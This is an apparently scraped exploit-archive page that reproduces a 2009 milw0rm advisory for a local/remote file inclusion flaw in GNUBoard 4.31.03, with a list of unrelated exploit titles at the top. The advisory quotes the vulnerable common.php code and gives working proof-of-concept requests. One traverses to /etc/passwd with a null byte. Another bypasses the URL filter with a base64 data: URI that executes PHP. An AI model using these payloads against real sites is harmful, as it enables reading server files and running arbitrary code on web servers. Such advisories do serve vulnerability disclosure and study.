477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
67 lines
1.9 KiB
Text
Executable file
67 lines
1.9 KiB
Text
Executable file
GNUBoard V4.31.03 (08.12.29) Local/Remote File Include Vulnerability
|
|
BY flyh4t#hotmail.com
|
|
Thx to qiuren/rayt
|
|
TEAM:Wolves Security Team
|
|
SITE:http://bbs.wolvez.org/
|
|
|
|
/*************************
|
|
|
|
SIR GNUBoard (VERSION 4.31.03 (08.12.29))is a widely used bulletin board system of Korea.
|
|
It is freely available for all platforms that supports PHP and MySQL.
|
|
But we find a file include vulnerability affects SIR GNUBoard.
|
|
In special conditions,it may be used as a remote file include vulnerability .
|
|
This issue to execute arbitrary PHP code on an affected computer with the privileges of the affected Web server.
|
|
Here is the details:
|
|
|
|
**************************/
|
|
TEST ON VERSION 4.31.03 (08.12.29)
|
|
|
|
/***************************
|
|
/common.php
|
|
|
|
@extract($_GET);
|
|
@extract($_POST);
|
|
@extract($_SERVER);
|
|
|
|
……
|
|
|
|
if (!$g4_path || preg_match("/:\/\//", $g4_path))
|
|
die("<meta http-equiv='content-type' content='text/html; '><script language='JavaScript'> alert('wrong.'); </script>");
|
|
|
|
//if (!$g4_path) $g4_path = ".";
|
|
//it's not allow char :// in $g4_path
|
|
$g4['path'] = $g4_path;
|
|
|
|
unset($g4_path);
|
|
|
|
include_once("$g4[path]/lib/constant.php"); //file include
|
|
include_once("$g4[path]/config.php");
|
|
include_once("$g4[path]/lib/common.lib.php");
|
|
|
|
*************************/
|
|
|
|
poc:
|
|
http://test.com/GnuBoard/common.php?g4_path=../../../../../../etc/passwd%00
|
|
|
|
when the site meets PHP >= 5.2.0&allow_url_include = On, we can use php data bypass preg_match("/:\/\//", $g4_path)
|
|
it's became a Remote File Include Vulnerability
|
|
|
|
poc:
|
|
/*************************
|
|
|
|
bypass_local.php
|
|
<?php
|
|
//coded by qiuren
|
|
if (!$g4_path || preg_match("/:\/\//", $g4_path))
|
|
die("fuck");
|
|
$g4['path'] = $g4_path;
|
|
unset($g4_path);
|
|
include_once("$g4[path]/lib/constant.php");
|
|
?>
|
|
|
|
bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=
|
|
|
|
phpinfo() can be executed
|
|
***************************/
|
|
|
|
# milw0rm.com [2009-01-15]
|